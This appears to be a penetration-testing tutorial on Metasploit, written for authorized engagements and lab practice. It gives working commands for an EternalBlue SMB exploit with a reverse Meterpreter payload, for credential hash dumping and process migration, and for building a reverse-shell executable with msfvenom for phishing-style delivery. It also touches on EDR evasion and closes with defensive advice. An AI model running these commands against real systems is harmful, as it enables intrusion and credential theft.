Metasploit was one of the first serious tools I learned as a beginner, and it’s still one of the tools I reach for constantly — not because it’s the flashiest option anymore, but because it’s fast, well-documented, and integrates cleanly with the rest of a pentest workflow. This tutorial walks through how I actually use Metasploit on real, authorized engagements, from initial setup to a full exploitation and post-exploitation workflow.
What Metasploit Is
Metasploit Framework is an open-source penetration testing platform that combines exploit development, a huge library of pre-built exploits, payload generation, and post-exploitation modules into a single, extensible tool. It’s maintained by Rapid7 and comes pre-installed on Kali Linux.
Why Metasploit Matters
Beginners often think of Metasploit as just “the tool that runs exploits,” but its real value is in how it standardizes and speeds up the entire exploitation and post-exploitation workflow. Instead of manually crafting exploit code for every known vulnerability, Metasploit gives you a consistent interface for selecting an exploit, configuring options, choosing a payload, and — critically — for continuing the engagement afterward with Meterpreter’s extensive post-exploitation capabilities.
Authorized Testing Only
Metasploit should only ever be used against systems you have explicit written authorization to test: a signed pentest scope, your own lab, or legal training platforms like HackTheBox, TryHackMe, or Metasploitable (a deliberately vulnerable VM built specifically for this purpose).
Getting Started
1. Launching the Console
msfconsole
This drops you into Metasploit’s interactive console, which is where nearly all interaction happens.
2. Searching for Modules
search type:exploit platform:windows smb
Metasploit’s module database is enormous, so being specific with search terms saves significant time. You can filter by type (exploit, auxiliary, post), platform, and keyword.
3. Selecting and Configuring a Module
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.10.10.5
set LHOST 10.10.10.100
show options displays every configurable parameter for the selected module — required options are clearly marked, and missing one is the most common reason an exploit fails to run.
4. Choosing a Payload
set payload windows/x64/meterpreter/reverse_tcp
Meterpreter is Metasploit’s advanced payload, providing an interactive post-exploitation environment rather than a basic command shell. A reverse TCP payload means the compromised host connects back to your listener, which is generally more reliable than a bind payload when the target is behind NAT or a restrictive firewall.
5. Running the Exploit
run
or
exploit
If successful, you’ll land in a Meterpreter session, giving you a rich set of post-exploitation commands.
Working with Meterpreter
Once you have a Meterpreter session, the real post-exploitation work begins.
sysinfo
getuid
These give you basic situational awareness — what system you’re on and what user context you’re running as.
hashdump
This dumps password hashes from the SAM database (requires appropriate privileges), useful for offline cracking or pass-the-hash attacks.
migrate <pid>
Migrating to a more stable or higher-privileged process helps maintain your session if the original exploited process is unstable or likely to be terminated.
run post/windows/gather/enum_logged_on_users
Metasploit’s post-exploitation modules cover a huge range of enumeration and gathering tasks; searching post/ modules relevant to your target OS is worth doing early in any session.
Auxiliary Modules
Not everything in Metasploit is about exploitation — auxiliary modules cover scanning, fuzzing, and enumeration tasks that don’t necessarily result in a shell.
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
run
This is a fast way to fingerprint SMB versions across an entire subnet, useful for quickly identifying hosts that might be vulnerable to known SMB exploits.
Using MSFvenom for Payload Generation
msfvenom is Metasploit’s standalone payload generator, useful for creating custom payloads outside the interactive console — for example, to embed in a phishing document or a file upload test.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f exe -o payload.exe
Modern EDR products detect default Metasploit payloads almost immediately, so on engagements where evasion matters, encoding, custom templates, or a completely different delivery method may be required — msfvenom’s default output alone is rarely sufficient against a mature defensive environment.
Integrating Nmap Scan Results
Metasploit can import Nmap XML output directly into its database, streamlining the transition from reconnaissance to exploitation.
db_import scan_results.xml
hosts
services
This lets you query discovered hosts and services directly within Metasploit and quickly cross-reference them against relevant exploit modules.
A Practical Walkthrough Example
A realistic lab workflow (for example, against Metasploitable or a HackTheBox machine) might look like:
- Run an Nmap scan and import results:
db_import scan.xml - Identify an interesting service, such as an outdated SMB version.
- Search for a matching exploit:
search type:exploit smb - Configure the module with target and listener details.
- Set a Meterpreter payload and run the exploit.
- Once you have a session, run
sysinfoandgetuidfor situational awareness. - Use relevant post-exploitation modules to gather credentials, enumerate the system further, or pivot toward privilege escalation.
Common Mistakes and Troubleshooting
- Forgetting to set LHOST/LPORT correctly. A misconfigured listener address is one of the most common reasons a reverse payload never calls back.
- Using default payloads against defended targets. Standard Meterpreter payloads are heavily signatured; expect detection unless you customize encoding or delivery.
- Not checking module compatibility. Some exploits only work against specific OS builds or patch levels — always confirm with
show infobefore assuming an exploit will succeed. - Ignoring session stability. An unstable session can be lost if the exploited process crashes; migrating to a more stable process early helps prevent this.
- Running exploits against out-of-scope hosts by mistake. Always double check RHOSTS matches your authorized scope exactly before running.
Security Risks and Defensive Recommendations
- Patch known vulnerabilities promptly — many of Metasploit’s most reliable exploits target CVEs that have had patches available for years (EternalBlue being a well-known example).
- Deploy EDR with behavioral detection capable of catching Meterpreter’s in-memory activity, not just static payload signatures.
- Restrict SMB and other legacy protocol exposure across network segments to reduce the attack surface these exploits target.
- Monitor for anomalous process migration and injection patterns associated with Meterpreter sessions.
- Conduct regular internal vulnerability scanning to catch outdated, exploitable services before an attacker (or a Metasploit-armed pentester) finds them first.
Frequently Asked Questions
1. Is Metasploit still relevant given how heavily signatured its default payloads are? Yes — its exploit library, auxiliary modules, and post-exploitation framework remain extremely useful, especially in internal assessments or lab environments where evasion isn’t the primary focus.
2. What’s the difference between a Meterpreter session and a standard shell? Meterpreter provides a rich, extensible post-exploitation environment with built-in commands for file transfer, process migration, and credential gathering, while a standard shell only gives raw command execution.
3. Do I need to know Ruby to use Metasploit effectively? No — Ruby knowledge helps if you want to write custom modules, but using existing modules effectively only requires understanding the console workflow.
4. Can Metasploit be detected by antivirus and EDR? Yes, especially with default payloads and configurations; real-world evasion requires additional techniques like custom encoders, process injection tuning, or entirely different delivery mechanisms.
5. What is msfvenom used for specifically? Generating standalone payloads outside the interactive console, useful for embedding in test files, phishing simulations, or other delivery methods within an authorized engagement.
6. Is Metasploitable a good way to practice? Yes — it’s a deliberately vulnerable Linux VM built specifically for legally practicing Metasploit techniques in an isolated lab environment.
7. How do I keep Metasploit’s exploit database up to date? Run msfupdate (or use your package manager’s update mechanism on Kali Linux) regularly, since new exploit modules are added frequently.
Conclusion
Metasploit Framework remains one of the most valuable tools for structuring an exploitation and post-exploitation workflow, even in an era of increasingly sophisticated EDR detection. Understanding its core workflow — search, configure, select a payload, exploit, then move into Meterpreter’s post-exploitation capabilities — gives you a consistent, repeatable process across a huge range of vulnerabilities. Practice it thoroughly in a lab like Metasploitable or HackTheBox before ever bringing it to a real, authorized engagement.
